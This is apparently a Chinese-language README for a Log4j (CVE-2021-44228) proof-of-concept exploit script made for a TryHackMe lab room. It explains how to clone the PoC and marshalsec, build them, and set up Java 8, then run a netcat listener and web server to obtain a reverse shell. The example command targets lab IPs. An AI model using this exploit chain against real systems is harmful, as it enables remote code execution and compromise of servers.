这个 Python 脚本是在我编写 TryHackMe 的 Log4j 房间时创建的。虽然它是为该房间的默认变量创建的,但我使用了 argparse 使脚本能够灵活处理 GET 请求。所有必要的变量都可以通过不同选项进行更改,详见 -h 获取更多信息。
此处仅托管我的脚本,要正常运行还需要另外两个下载内容,我会提供链接,但按照我的方式设置文件夹可以让脚本轻松运行。首先创建一个 log4j 文件夹(或任何你想要的名称),然后 git clone 本仓库,接着将 poc.py 移动到 /log4j/ 目录下。
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
接下来,在刚创建的同一目录下克隆 marshalsec。然后使用 Maven 构建它。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
最后,你需要下载某个版本的 Java 8。对于此脚本,-j 的默认值为 'jdk1.8.0_20'。
当所有内容解压完毕后,新目录应如下所示:
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
完成此设置后。注意,如果你希望或需要使用不同版本的 Java,可以通过 -j NAME_OF_JAVA_FOLDER 来实现。
帮助菜单

脚本中包含了 THM 房间提供的 payload,你可以将 IP/端口改为任何你想使用的值。

启动一个 netcat 监听器,以捕获 java_payload 中指定端口上的 shell。
在 8000 端口启动一个 Python Web 服务器。
示例命令:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
示例输出及反弹 shell:
